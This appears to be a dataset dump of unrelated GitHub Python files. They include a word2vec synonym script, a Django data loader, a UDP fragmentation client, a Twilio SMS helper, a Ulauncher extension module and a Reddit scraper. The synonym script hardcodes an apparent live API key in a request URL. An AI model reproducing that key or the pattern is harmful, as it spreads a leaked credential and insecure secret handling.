limit=500000)\nprint(\"Loaded model\")\nindex2word_set = set(model.wv.index2word)\n\ndef avg_feature_vector(sentence, model, num_features, index2word_set):\n words = sentence.split()\n feature_vec = np.zeros((num_features, ), dtype='float32')\n n_words = 0\n for word in words:\n if word in index2word_set:\n n_words += 1\n feature_vec = np.add(feature_vec, model[word])\n if (n_words > 0):\n feature_vec = np.divide(feature_vec, n_words)\n return feature_vec\n\ndef make_list(name):\n words = []\n if('_' in name): #if snake case\n name = name.lower()\n words = name.split('_')\n else: #identify if camel case\n word = \"\"\n for c in name:\n if(c.islower()):\n word +=c\n else:\n words.append(word)\n word = \"\"\n word += c.lower()\n words.append(word)\n return words\n\ndef make_sentence(words):\n sentence = \"\"\n for w in words:\n sentence += w\n sentence += \" \"\n return sentence[:-1]\n\ndef similarity_sentences(s1, s2):\n s1_afv = avg_feature_vector(s1, model=model, num_features=300, index2word_set=index2word_set)\n s2_afv = avg_feature_vector(s2, model=model, num_features=300, index2word_set=index2word_set)\n sim = 1 - spatial.distance.cosine(s1_afv, s2_afv)\n return sim\n\n#s1 = make_sentence(make_list('remove'))\n#s2 = make_sentence(make_list('delete'))\n#print(similarity_sentences(s1,s2))\n\n\ndef camel_to_snake(name):\n list = make_list(name)\n new_name = \"\"\n for w in list:\n new_name += w\n new_name += \"_\"\n return new_name[:-1]\n\ndef snake_to_camel(name):\n list = make_list(name)\n new_name = \"\"\n pp = False\n for w in list:\n c = w[0].upper() if pp else w[0].lower()\n pp = True\n new_name += c\n new_name += w[1:]\n return new_name\n\ndef change_case(name):\n if('_' in name): #this is snake\n return snake_to_camel(name)\n return camel_to_snake(name)\n\n\ndef find_synonyms(word):\n\n #dev\n return [\"sum\",\"total\",\"append\"]\n\n p = make_sentence(make_list(word))\n s_list = []\n\n\n #r = requests.get('https://wordsapiv1.p.mashape.com/words/'+word+'/synonyms'\n # , headers={\"x-rapidapi-host\": \"wordsapiv1.p.rapidapi.com\",\n # \t\"x-rapidapi-key\": \"\"} )\n\n #print(json.loads(r.content))\n #synonym_list = json.loads(r.content)['synonyms']\n\n r = requests.get('https://words.bighugelabs.com/api/2/3d61b2dab0e22df66fd693006de7a367/'+word+'/json')\n\n j = json.loads(r.content)\n synonym_list = []\n for (key,val) in j.items():\n if('syn' in val.keys()):\n synonym_list += val['syn']\n #synonym_list = j['noun']['syn'] + j['verb']['syn']\n\n for s in synonym_list:\n if(s.count(' ')>0):\n continue\n p1 = make_sentence(make_list(s))\n sim = similarity_sentences(p,p1)\n obj = ( s, sim)\n if(not np.isnan(sim)):\n s_list.append(obj)\n #print(s_list)\n\n s_list.sort(key = lambda synonym: synonym[1] )\n firsts = [t[0] for t in s_list]\n return firsts[-3:]\n\ndef getReplacementsName(name):\n #for each word in the name, get the replacements\n words = make_list(name)\n replace_dict = []\n for w in words:\n w_replacements = find_synonyms(w)\n w_replacements.append(w)\n w_replacements = list(set(w_replacements))\n replace_dict.append(w_replacements)\n\n a = replace_dict[0]\n for b in replace_dict[1:]:\n o = []\n for ia in a:\n for ib in b:\n o.append(ia+\"_\"+ib)\n a = o\n ca = a.copy()\n for poss in a:\n ca.append(change_case(poss))\n return ca\n\n\ndef extractName(regex):\n i = regex.find(\"def\")\n before = regex[:(i+4)]\n\n i += 4\n name = \"\"\n while True:\n name+=regex[i]\n i+=1\n if(i>=len(regex)):\n break\n if(i 0.7):\n fast_regex += '|('+d_before+d_def+d_after+')'\n found = True\n #if(not found):\n # print(\"Nothing good and fast\")\n #else:\n # print(\"GOOD:\",fast_regex)\n #look for the synonyms\n r = replaceFunctionNames(regex) + '|'+fast_regex\n return r\n\n#print(extractName(\"def delete_selected\"))\nprint(lookup('def removeSelected'))\n#print(lookup('somestuff def base64ToInt\\([a-z]*\\): func'))\n#print(lookup('somestuff def checkErr: func'))\n#print(lookup('somestuff def add_one[a-z]*: func'))\n#print(replaceFunctionNames('somestuff def addOne\\(\\): func'))\n","repo_name":"avaspataru/hackcambridge101","sub_path":"phrase_similarity.py","file_name":"phrase_similarity.py","file_ext":"py","file_size_in_byte":5864,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"32748885174","text":"import os, csv\n\nos.environ.setdefault('DJANGO_SETTINGS_MODULE', 'lab1.settings')\n\nimport django\n\ndjango.setup()\n\nfrom films.models import Movie, Genre, Tag, Rating\n\n\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n\nMOVIES_DIR = os.path.join(BASE_DIR, 'lab1/data/movies.csv')\nTAGS_DIR = os.path.join(BASE_DIR, 'lab1/data/tags.csv')\nRATINGS_DIR = os.path.join(BASE_DIR, 'lab1/data/ratings.csv')\nLINKS_DIR = os.path.join(BASE_DIR, 'lab1/data/links.csv') \n\n\nmovies = csv.reader(open(MOVIES_DIR), delimiter=',')\ntags = csv.reader(open(TAGS_DIR), delimiter=',')\nratings = csv.reader(open(RATINGS_DIR), delimiter=',')\nlinks = csv.reader(open(LINKS_DIR), delimiter=',')\n\n\n# for n in range(1, 100): # movieId,title,genres\n# # movie = Movie.objects.create(\n# # movieID=movies[n][0],\n# # title=movies[n][1],\n# # )\n# movie = Movie()\n# movie.movieID = movies[n][0]\n# movie.title = movies[n][1]\n# movie.save()\n# genres = movies[n][2].split('|')\n# for g in genres:\n# genre, created = Genre.objects.get_or_create(name=g)\n# if not created:\n# genre.save()\n# movie.genres.add(genre)\n\n# for n in range(1, 100):\n# movie = Movie.objects.get(movieID=links[n][0])\n# # print links[n][1], links[n][2]\n# movie.imdbId = links[n][1]\n# movie.tmdbId = links[n][2]\n# movie.save()\n \n\n\nfor row in movies: # movieId,title,genres\n if row[0] != 'movieId':\n movie = Movie()\n movie.movieID = row[0]\n movie.title = row[1]\n movie.save()\n \n genres = row[2].split('|')\n# for g in genres:\n# genre = addGenre(g)\n# movie.genres.add(genre)\n for g in genres:\n genre, created = Genre.objects.get_or_create(name=g)\n if not created:\n genre.save()\n movie.genres.add(genre)\n\nfor row in links: # movieId,imdbId,tmdbId\n if row[0] != 'movieId':\n movie = Movie.objects.get(movieID=row[0])\n if row[1] != '':\n movie.imdbId = row[1]\n if row[2] != '':\n movie.tmdbId = row[2]\n movie.save()\n\n\nfor row in tags: # userId,movieId,tag,timestamp\n if row[0] != 'userId':\n tag = Tag()\n tag.content = row[2]\n tag.movie = Movie.objects.get(movieID=row[1])\n tag.save()\n\nfor row in ratings: # userId,movieId,rating,timestamp\n if row[0] != 'userId':\n rating = Rating()\n rating.rate = row[2]\n rating.movie = Movie.objects.get(movieID=row[1])\n rating.save()\n\n\n\n\n \n \n\n","repo_name":"vicrosa25/AII","sub_path":"populate.py","file_name":"populate.py","file_ext":"py","file_size_in_byte":2586,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"4170946500","text":"from typing import List\nfrom fastapi import Depends, HTTPException,Request\nfrom sqlalchemy.orm import Session \nfrom Database import get_db\nfrom Database.models import models\nfrom responsables.Schemas.Create import EstanciaCreate\nfrom uuid import uuid4\nfrom fastapi_jwt_auth import AuthJWT\n\nclass EstanciaController:\n\n def __init__(self, db:Session = Depends(get_db),AuthJWT:AuthJWT = Depends()):\n self.db = db\n self.auth_jwt = AuthJWT\n\n async def get_estancias(self):\n self.auth_jwt.jwt_required()\n user_data = self.auth_jwt.get_raw_jwt()\n data = self.db.query(models.Estancia) \\\n .filter(models.Estancia.re.any(models.Responsable.id_responsable == user_data.get(\"id_responsable\"))) \\\n .order_by(models.Estancia.fecha_ingreso.desc()).all()\n if not data:\n raise HTTPException(status_code=404, detail=\"Item not found\")\n return data\n\n \n async def get_estancia(self,id_estancia:int):\n self.auth_jwt.jwt_required()\n #self.auth_jwtjwt_optional()\n user_data = self.auth_jwt.get_raw_jwt()\n \n data = self.db.query(models.Estancia) \\\n .filter(models.Estancia.re.any(models.Responsable.id_responsable == user_data.get(\"id_responsable\"))) \\\n .filter(models.Estancia.id_estancia == id_estancia) \\\n .first()\n if not data:\n raise HTTPException(status_code=404, detail=\"Item not found\")\n return data\n\n async def create_estancia(self,estancia: EstanciaCreate):\n identificador = uuid4()\n data = estancia.dict()\n data['identificador'] = identificador.hex\n db_item = models.Estancia(**data)\n self.db.add(db_item)\n self.db.commit()\n\n \n \n\n\n","repo_name":"devlfx/SalaBackend","sub_path":"responsables/Controllers/EstanciaController.py","file_name":"EstanciaController.py","file_ext":"py","file_size_in_byte":1759,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"9526591241","text":"import socket\r\nimport select\r\n\r\n# function section\r\n\r\n\r\ndef reliable_send(message, ip):\r\n global received, sock_send, sock_receive\r\n sock_receive.bind((UDP_IP_r_proxy, UDP_PORT_r_proxy))\r\n sock_receive.setblocking(0)\r\n sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # UDP\r\n received = 2 # 0 just send 1 receive ok 2 time out/send\r\n callSend = 1\r\n fragment = 0\r\n if len(message) > 6500:\r\n callSend = int(len(message) / 6500) + 1\r\n fragment = 1 # 1 moreFragment 0 o.w\r\n for x in range(0, callSend):\r\n start = x * 6500\r\n end = (x + 1) * 6500\r\n print(callSend)\r\n if x == callSend - 1:\r\n fragment = 0\r\n FragmentedMESSAGE = str(x) + '*' + str(fragment) + '*' + MESSAGE[start: end] + '*' + str(\r\n ip) + \"*\" + make_parity(MESSAGE[start: end])\r\n print(\"send packet : \" + FragmentedMESSAGE)\r\n if reliable_send_fragmented(FragmentedMESSAGE):\r\n print(\"send succsecfully packet : \" + str(x))\r\n print(\"\\n\")\r\n x += 1\r\n received = 2\r\n else:\r\n print(\"can not send packet number : \" + str(x))\r\n # parity ip/port/split dns\r\n return False\r\n sock_send.close()\r\n sock_receive.close()\r\n return True\r\n\r\n\r\ndef reliable_send_fragmented(message):\r\n counter = 0\r\n global received\r\n while counter < 15:\r\n if received == 0:\r\n result = receive_http()\r\n if received == 1:\r\n counter = 15\r\n return True\r\n if received == 2:\r\n send_http(message)\r\n counter += 1\r\n\r\n if counter == 15 and received == 2:\r\n print(\"proxy is not ready to answer\")\r\n return False\r\n\r\n\r\ndef check_parity(message):\r\n # m[2] data - m[4] parity\r\n temp = str(message)\r\n m = temp[2:-1].split('*')\r\n p = 0\r\n for i in m[2]:\r\n p += ord(i)\r\n parity = bin(p)\r\n parity = parity.split('b')\r\n if m[4] == parity[1]:\r\n return True\r\n else:\r\n return False\r\n\r\n\r\ndef make_parity(message):\r\n print(message)\r\n m = bytes(message, \"utf-8\")\r\n message = str(m)\r\n print(message)\r\n parity = 0\r\n p = 0\r\n for i in message[2:-1]:\r\n p += ord(i)\r\n parity = bin(p)\r\n parity = parity.split('b')\r\n return parity[1]\r\n\r\n\r\ndef send_http(message):\r\n global received\r\n # print(\"send packet\")\r\n # print(\"UDP target IP:\", UDP_IP_s)\r\n # print(\"UDP target port:\", UDP_PORT_s)\r\n # print(\"message:\", message)\r\n sock_send.sendto(bytes(message, \"utf-8\"), (UDP_IP_s_proxy, UDP_PORT_s_proxy))\r\n received = 0\r\n\r\n\r\ndef receive_http():\r\n global received\r\n print(\"client waiting for answer ...\")\r\n ready = select.select([sock_receive], [], [], 1)\r\n if ready[0]:\r\n receive_data, addr = sock_receive.recvfrom(1024) # buffer size is 1024 bytes\r\n # print(\"client receive message \")\r\n if check_parity(receive_data):\r\n received = 1\r\n assert isinstance(receive_data, object)\r\n show_result(receive_data)\r\n return receive_data\r\n else:\r\n received = 2\r\n print(\"parity error\")\r\n return 0\r\n\r\n else:\r\n received = 2\r\n print(\"time out \")\r\n return 0\r\n\r\n\r\ndef show_result(message):\r\n assert isinstance(message, object)\r\n print(\"received message:\", message)\r\n\r\n\r\ndef receive_http_proxy():\r\n global TCP_IP_s_server, sock_receive, sock_send\r\n sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # UDP\r\n sock_receive.bind((UDP_IP_r_proxy, UDP_PORT_r_proxy))\r\n sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # UDP\r\n hope = 1\r\n temp = receive_http_fragmented()\r\n if temp != str(-1):\r\n # print(temp)\r\n TCP_IP_s_server = str(temp[3])\r\n myMessage = str(temp[2])\r\n while temp[1] == str(1):\r\n temp = receive_http_fragmented()\r\n if temp[0] == str(hope):\r\n myMessage += temp[2]\r\n hope += 1\r\n print(\"defragment finish\")\r\n return myMessage\r\n else:\r\n print(\"parity error , remove the packet from buffer...\")\r\n sock_receive.close()\r\n sock_send.close()\r\n\r\n\r\ndef receive_http_fragmented():\r\n print(\"client is waiting for response packet ...\")\r\n notReceive = True\r\n while notReceive:\r\n data, addr = sock_receive.recvfrom(6500) # buffer size is 6500 bytes\r\n print(\"receive packet\")\r\n assert isinstance(data, object)\r\n print(\"received message:\", data)\r\n notReceive = False\r\n\r\n if check_parity(data):\r\n print(data)\r\n temp = str(data)\r\n m = temp[2:-1].split('*')\r\n send_ack_http_proxy(data)\r\n return m\r\n else:\r\n return -1\r\n\r\n\r\ndef send_ack_http_proxy(data):\r\n print(\"send ack to proxy\")\r\n global sock_send\r\n sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # UDP\r\n print(\"UDP target IP:\", UDP_IP_s_proxy)\r\n print(\"UDP target port:\", UDP_PORT_s_proxy)\r\n print(\"message:\", data)\r\n print(\"\\n\")\r\n sock_send.sendto(data, (UDP_IP_s_proxy, UDP_PORT_s_proxy))\r\n sock_send.close()\r\n\r\n\r\n# send part initiation\r\nUDP_IP_s_proxy = \"127.0.0.1\" # \"185.211.88.22\"\r\nUDP_PORT_s_proxy = 5005\r\nsock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # UDP\r\n\r\n# receive part initiation\r\nUDP_IP_r_proxy = \"127.0.0.1\" # \"185.211.88.22\"\r\nUDP_PORT_r_proxy = 5006\r\nsock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # UDP\r\n\r\nTCP_IP_s_server = \"\"\r\n# code section\r\nreceived = 2 # 0 just send 1 receive ok 2 time out/send\r\n# MESSAGE = \"GET / HTTP/1.0\\r\\n\\r\\n\"\r\n# DES_IP = input(\"enter destionation IP : \")\r\n# MESSAGE = input(\"enter your http message : \")\r\nDES_IP = \"www.aut.ac.ir\"\r\nMESSAGE = \"GET / HTTP/1.0\\r\\n\\r\\n\"\r\nreliable_send(MESSAGE, DES_IP)\r\nprint(\"send with no problem\")\r\nresult = receive_http_proxy()\r\nprint(result)\r\n# parity ip/port/split dns\r\n\r\n# http type setting numberOfPacke * moreFragment * message * IPDestination * parity\r\n","repo_name":"Yasaman1997/Computer_Networks","sub_path":"Python/new_test_pkg/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":6063,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"29328649759","text":"#Aprobación de créditos\ningreso=int(input(\"¿cúal es tu ingreso?:\"))\nnacimiento=int(input(\"¿qué año naciste?:\"))\nhijos=int(input(\"¿cuántos hijos tienes?:\"))\npertenencia=int(input(\"¿hace cuántos años estás en este banco?:\"))\nestadocivil=input(\"¿cuál es tu estado civil?:\") \nC= estadocivil\nS= estadocivil\nvive=input(\"¿dónde vives? (si es en campo escriba R, si es en ciudad escriba U):\")\nR = vive\nU = vive\nif pertenencia > 10 and hijos >= 2:\n print(\"APROBADO\")\nelif estadocivil == C and hijos > 3 and ((2018 - nacimiento)> 45 or (2018 - nacimiento)< 55):\n print(\"APROBADO\")\nelif ingreso >2500000 and estadocivil==S and vive == U:\n print(\"APROBADO\")\nelif ingreso > 3500000 and pertenencia <5:\n print(\"APROBADO\")\nelif vive== R and estadocivil==C and hijos < 2:\n print(\"APROBADO\")\nelse:\n print(\"RECHAZADO\")","repo_name":"pabloschwarzenberg/grader","sub_path":"hito1_ej3/hito1_ej3_731250392801519201fcd3e41f9cb6ee.py","file_name":"hito1_ej3_731250392801519201fcd3e41f9cb6ee.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"8961094132","text":"from twilio.rest import TwilioRestClient\nimport os\n\ndef send_text_message(message, phone_num):\n\t\"\"\"Sends a text message to the given phone number.\n\n\tIs called when Ronnie's 'text address' link is clicked.\n\t\"\"\"\n\t\n\tACCOUNT_SID = os.environ.get('TWILIO_ACCOUNT_SID')\n\tAUTH_TOKEN = os.environ.get('TWILIO_AUTH_TOKEN')\n\tTWILIO_NUMBER = os.environ.get('TWILIO_NUMBER')\n\n\tclient = TwilioRestClient(ACCOUNT_SID, AUTH_TOKEN)\n\n\tm = client.messages.create(\n\t\tto=phone_num,\n\t\tfrom_=TWILIO_NUMBER,\n\t\tbody=message,\n\t\t)\n\n\treturn m.sid","repo_name":"mfbalder/ChatappFeedmeBot-HB","sub_path":"send_message.py","file_name":"send_message.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"77"} +{"seq_id":"602438345","text":"from flojoy import flojoy, OrderedPair\nfrom time import sleep\nfrom typing import Optional\nimport serial\nimport numpy as np\nfrom datetime import datetime\n\n\n@flojoy(deps={\"pyserial\": \"3.5\"})\ndef SERIAL_TIMESERIES(\n default: Optional[OrderedPair] = None,\n comport: str = \"/dev/ttyUSB0\",\n baudrate: int = 9600,\n num_readings: int = 100,\n record_period: int = 1,\n) -> OrderedPair:\n \"\"\"The SERIAL_TIMESERIES node extracts simple time-dependent 1D data from an Arduino or a similar serial device.\n\n Parameters\n ----------\n num_readings : int\n Number of points to record.\n record_period : float\n Length between two recordings in seconds.\n baudrate : int\n Baud rate for the serial device.\n comport : string\n COM port of the serial device.\n\n num_readings * record_period :\n Is roughly the run length in seconds.\n \"\"\"\n\n ser = serial.Serial(comport, timeout=1, baudrate=baudrate)\n readings = []\n times = []\n # The first reading is commonly empty.\n s = ser.readline().decode()\n\n for i in range(num_readings):\n ts = datetime.now()\n s = ser.readline().decode()\n # Some readings may be empty.\n if s != \"\":\n reading = s[:-2].split(\",\")\n if len(reading) == 1:\n reading = reading[0]\n readings.append(reading)\n\n ts = datetime.now()\n seconds = float(\n ts.hour * 3600 + ts.minute * 60 + ts.second + ts.microsecond / 10**6\n )\n\n times.append(seconds)\n\n if len(times) > 0:\n time1 = seconds - times[i]\n else:\n # Estimate execution time.\n time1 = 0.1\n\n if time1 < record_period:\n sleep(record_period - time1)\n\n times = np.array(times)\n try:\n times -= times[0]\n except IndexError:\n raise IndexError(\"No data detected from the Arduino\")\n\n readings = np.array(readings)\n readings = readings.astype(\"float64\")\n\n return OrderedPair(x=times, y=readings)\n","repo_name":"flojoy-io/nodes","sub_path":"IO/PROTOCOLS/SERIAL/BASIC/SERIAL_TIMESERIES/SERIAL_TIMESERIES.py","file_name":"SERIAL_TIMESERIES.py","file_ext":"py","file_size_in_byte":2076,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"} +{"seq_id":"4375416156","text":"# \n\nfrom __future__ import nested_scopes\n\n\ndef interpret(formula, dictionary):\n \"\"\" Interpretation einer Formel in Postfix-Form\n Erlaubte Operatoren: AND, OR, NOT\n Das dictionary enth�lt die auszuf�hrenden Funktionen \"\"\"\n\n stack = []\n for token in formula.split():\n if token == \"AND\":\n p = stack.pop()\n q = stack.pop()\n stack.append(lambda x: q(x) & p(x))\n elif token == \"OR\":\n p = stack.pop()\n q = stack.pop()\n stack.append(lambda x: q(x) | p(x))\n elif token == \"NOT\":\n p = stack.pop()\n stack.append(lambda x: not p(x))\n else:\n stack.append(dictionary[token])\n return stack.pop()\n","repo_name":"johsieders/potpourri","sub_path":"fttp/src/interpreters/formula.py","file_name":"formula.py","file_ext":"py","file_size_in_byte":730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"13504100674","text":"\"\"\"A setuptools based setup module.\n\nSee:\nhttps://packaging.python.org/guides/distributing-packages-using-setuptools/\nhttps://github.com/pypa/sampleproject\n\"\"\"\n\n# Always prefer setuptools over distutils\nfrom setuptools import setup, find_packages\nimport pathlib\n\nhere = pathlib.Path(__file__).parent.resolve()\n\n# Get the long description from the README file\n# long_description = (here / 'README.md').read_text(encoding='utf-8')\n\n# Arguments marked as \"Required\" below must be included for upload to PyPI.\n# Fields marked as \"Optional\" may be commented out.\n\nsetup(\n name='supermarket',\n version='1.0.0',\n description='A Python project to demonstrate APM-Logs correlation',\n author='Emanuil Tolev',\n author_email='etolev@elastic.co',\n\n # You can just specify package directories manually here if your project is\n # simple. Or you can use find_packages().\n #\n # Alternatively, if you just want to distribute a single Python file, use\n # the `py_modules` argument instead as follows, which will expect a file\n # called `my_module.py` to exist:\n #\n # py_modules=[\"my_module\"],\n #\n packages=find_packages(where='.'), # Required\n python_requires='>=3.5, <4'\n)\n","repo_name":"emanuil-tolev/logs-traces-correlation","sub_path":"supermarket/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1206,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"9554769058","text":"import codecs\nimport json\nimport re\nimport logging\nfrom datetime import datetime\nfrom urllib.request import urlopen\nfrom typing import Optional, Tuple\n\nfrom ulauncher.config import API_VERSION\nfrom ulauncher.utils.version import satisfies\nfrom ulauncher.modes.extensions.ExtensionManifest import ExtensionManifest\n\nlogger = logging.getLogger()\n\nCommit = Tuple[str, str]\n\n\nclass ExtensionRemoteError(Exception):\n pass\n\n\nclass InvalidExtensionUrlWarning(Exception):\n pass\n\n\nclass ExtensionNetworkError(Exception):\n pass\n\n\nclass ExtensionIncompatibleWarning(Exception):\n pass\n\n\ndef json_fetch(url):\n try:\n return json.loads(urlopen(url).read())\n except Exception as e:\n # If json.loads fails, treat it as a network error too.\n # It should never happen as all these API endpoint are exclusively JSON\n raise ExtensionNetworkError(f'Could not access repository resource \"{url}\"') from e\n\n\nclass ExtensionRemote:\n url_match_pattern = r\"^(?:git@|https:\\/\\/)(?P[^\\/]+)\\/(?P[^\\/]+)\\/(?P[^\\/]+)\"\n date_format = '%Y-%m-%dT%H:%M:%S%z'\n\n def __init__(self, url):\n self.url = url.lower()\n match = re.match(self.url_match_pattern, self.url, re.I)\n if not match:\n raise InvalidExtensionUrlWarning(f'Invalid URL: {url}')\n\n self.user = match.group(\"user\")\n self.repo = match.group(\"repo\")\n self.host = match.group(\"host\")\n\n if \".\" not in self.host:\n self.extension_id = f\"{self.host}.{self.user}.{self.repo}\"\n else:\n domain, tld = self.host.rsplit(\".\", 1)\n self.extension_id = f\"{tld}.{domain}.{self.user}.{self.repo}\"\n\n if self.host == \"github.com\":\n self.host_api = \"https://api.github.com\"\n self.date_format = '%Y-%m-%dT%H:%M:%SZ'\n elif self.host == \"gitlab.com\":\n host_api = \"https://gitlab.com/api/v4\"\n projects = json_fetch(f\"{host_api}/users/{self.user}/projects?search={self.repo}\")\n project = next((p for p in projects if p[\"name\"] == self.repo), None)\n\n self.host_api = f\"{host_api}/projects/{project['id']}/repository\"\n self.date_format = '%Y-%m-%dT%H:%M:%S.%f%z'\n else:\n self.host_api = f\"https://{self.host}/api/v1\"\n\n def get_download_url(self, commit: str) -> str:\n if self.host == \"gitlab.com\":\n return f'https://{self.host}/{self.user}/{self.repo}/-/archive/{commit}/{self.repo}-{commit}.tar.gz'\n return f'https://{self.host}/{self.user}/{self.repo}/archive/{commit}.tar.gz'\n\n def fetch_file(self, file_path) -> Optional[str]:\n # This saves us a request compared to using the \"raw\" file API that needs to know the branch\n file_api_url = f\"{self.host_api}/repos/{self.user}/{self.repo}/contents/{file_path}\"\n if self.host == \"gitlab.com\":\n file_api_url = f\"{self.host_api}/files/{file_path}?ref=HEAD\"\n\n file_data = json_fetch(file_api_url)\n\n if file_data and file_data.get(\"content\") and file_data.get(\"encoding\"):\n return codecs.decode(file_data[\"content\"].encode(), file_data[\"encoding\"]).decode()\n\n return None\n\n def get_compatible_commit_from_tags(self) -> Optional[Commit]:\n \"\"\"\n This method is new for v6, but intentionally undocumented because we still want extension\n devs to use the old way until Ulauncher 5/apiv2 is fully phased out\n \"\"\"\n tags = {}\n # pagination is only implemented for GitHub (default 30, max 100)\n tags_url = f\"{self.host_api}/repos/{self.user}/{self.repo}/tags?per_page=100\"\n if self.host == \"gitlab.com\":\n # GitLab's API allows to filter out tags starting with our prefix\n tags_url = f\"{self.host_api}/tags?search=^apiv\"\n\n try:\n tags_data = json_fetch(tags_url)\n\n for tag in tags_data or []:\n if tag[\"name\"].startswith(\"apiv\") and satisfies(API_VERSION, tag[\"name\"][4:]):\n commit = tag[\"commit\"]\n version = tag[\"name\"][4:]\n id = commit.get(\"sha\", commit.get(\"id\")) # id fallback is needed for GitLab\n commit_time = commit.get(\"created\", commit.get(\"created_at\"))\n tags[version] = (id, commit_time)\n\n if tags:\n id, commit_time = tags[max(tags)]\n if id and self.host == \"github.com\": # GitHub's tag API doesn't give any dates\n commit_data = json_fetch(f\"{self.host_api}/repos/{self.user}/{self.repo}/commits/{id}\")\n commit_time = commit_data[\"commit\"][\"committer\"][\"date\"]\n if id and commit_time:\n date = datetime.strptime(commit_time, self.date_format)\n return id, date.isoformat()\n\n except Exception as e:\n logger.warning(\"Unexpected error retrieving version from tags '%s' (%s: %s)\", self.url, type(e).__name__, e)\n\n return None\n\n def get_commit(self, ref: str = \"HEAD\") -> Commit:\n if self.host == \"gitlab.com\":\n url = f\"{self.host_api}/commits/{ref}\"\n elif self.host == \"github.com\":\n url = f\"{self.host_api}/repos/{self.user}/{self.repo}/commits/{ref}\"\n else:\n # Gitea/Codeberg API differs from GitHub here, but has the same API\n url = f\"{self.host_api}/repos/{self.user}/{self.repo}/git/commits/{ref}\"\n\n try:\n response = json_fetch(url)\n id = response.get(\"sha\") or response.get(\"id\")\n commit_time = response.get(\"created_at\") or response[\"commit\"][\"committer\"][\"date\"]\n date = datetime.strptime(commit_time, self.date_format)\n return id, date.isoformat()\n except (KeyError, TypeError) as e:\n raise ExtensionRemoteError(f'Could not fetch reference \"{ref}\" for {self.url}.') from e\n\n def get_latest_compatible_commit(self) -> Commit:\n \"\"\"\n Finds first version that is compatible with users Ulauncher version.\n Returns a commit hash and datetime.\n \"\"\"\n manifest = ExtensionManifest(json.loads(self.fetch_file(\"manifest.json\") or \"{}\"))\n\n if satisfies(API_VERSION, manifest.api_version):\n return self.get_commit()\n\n tag = self.get_compatible_commit_from_tags()\n if tag:\n return tag\n\n if satisfies(\"2.0\", manifest.api_version):\n logger.warning(\"Falling back on using API 2.0 version for %s.\", self.repo)\n return self.get_commit()\n\n raise ExtensionIncompatibleWarning(f\"{manifest.name} does not support Ulauncher API v{API_VERSION}.\")\n","repo_name":"otisdog8/Ulauncher","sub_path":"ulauncher/modes/extensions/ExtensionRemote.py","file_name":"ExtensionRemote.py","file_ext":"py","file_size_in_byte":6684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"77"} +{"seq_id":"29313262844","text":"import math\nimport json\nimport requests\nimport itertools\nimport numpy as np\nimport time\nimport pickle\nimport tqdm\n\nfrom datetime import datetime, timedelta\nprint('import complete')\n\ndef make_request(uri, max_retries = 5):\n\n def fire_away(uri):\n response = requests.get(uri)\n assert response.status_code == 200\n return json.loads(response.content)\n current_tries = 1\n while current_tries < max_retries:\n try:\n time.sleep(1)\n response = fire_away(uri)\n return response\n except:\n time.sleep(1)\n current_tries += 1\n return fire_away(uri)\n\n\ndef pull_posts_for(subreddit, start_at, end_at):\n\n def map_posts(posts):\n return list(map(lambda post: {\n 'id': post['id'],\n 'created_utc': post['created_utc'],\n 'permalink': post['permalink'],\n }, posts))\n\n SIZE = 100 # maximum request amount to pushshift.io at once\n URI_TEMPLATE = r'https://api.pushshift.io/reddit/search/submission/?subreddit={}&after={}&before={}&limit={}&fields=id,created_utc,permalink'\n\n post_collections = map_posts( \\\n make_request( \\\n URI_TEMPLATE.format( \\\n subreddit, start_at, end_at, SIZE))['data'])\n n = len(post_collections)\n while n == SIZE:\n time.sleep(1)\n last = post_collections[-1]\n new_start_at = last['created_utc'] - (10)\n\n more_posts = map_posts( \\\n make_request( \\\n URI_TEMPLATE.format( \\\n subreddit, new_start_at, end_at, SIZE))['data'])\n\n n = len(more_posts)\n post_collections.extend(more_posts)\n\n # remove duplicates\n res = []\n [res.append(x) for x in post_collections if x not in res]\n\n return res\n\n############################################################################################################\n\ndays = 3\nsubreddit = 'citiesskylines'\nend_at = math.ceil(datetime.utcnow().timestamp())\nstart_at = math.floor((datetime.utcnow() - \\\n timedelta(days=days)).timestamp())\nprint(f'from {start_at} to {end_at}, {days} days @ r/{subreddit}')\n\nposts = pull_posts_for(subreddit, start_at, end_at)\n\nprint(len(posts))\n\nf = open(\"./data/post_filtered_pickle\", \"wb\")\npickle.dump(posts, f)\nf.close()\n","repo_name":"maxjo020418/OKBHscraper","sub_path":"pushshiftio_post.py","file_name":"pushshiftio_post.py","file_ext":"py","file_size_in_byte":2301,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"} +{"seq_id":"43507790285","text":"import numpy as np\r\nimport pandas as pd\r\nfrom sklearn.preprocessing import StandardScaler, MinMaxScaler\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.metrics import accuracy_score, confusion_matrix, classification_report\r\n\r\nimport torch\r\nimport torch.nn as nn\r\nfrom torch.optim import SGD, Adam\r\nimport torch.utils.data as Data\r\nimport torchvision.transforms as transforms\r\nimport seaborn as sns\r\nimport matplotlib.pyplot as plt\r\n\r\nfilename = \"G:\\data\\spambase.csv\" # 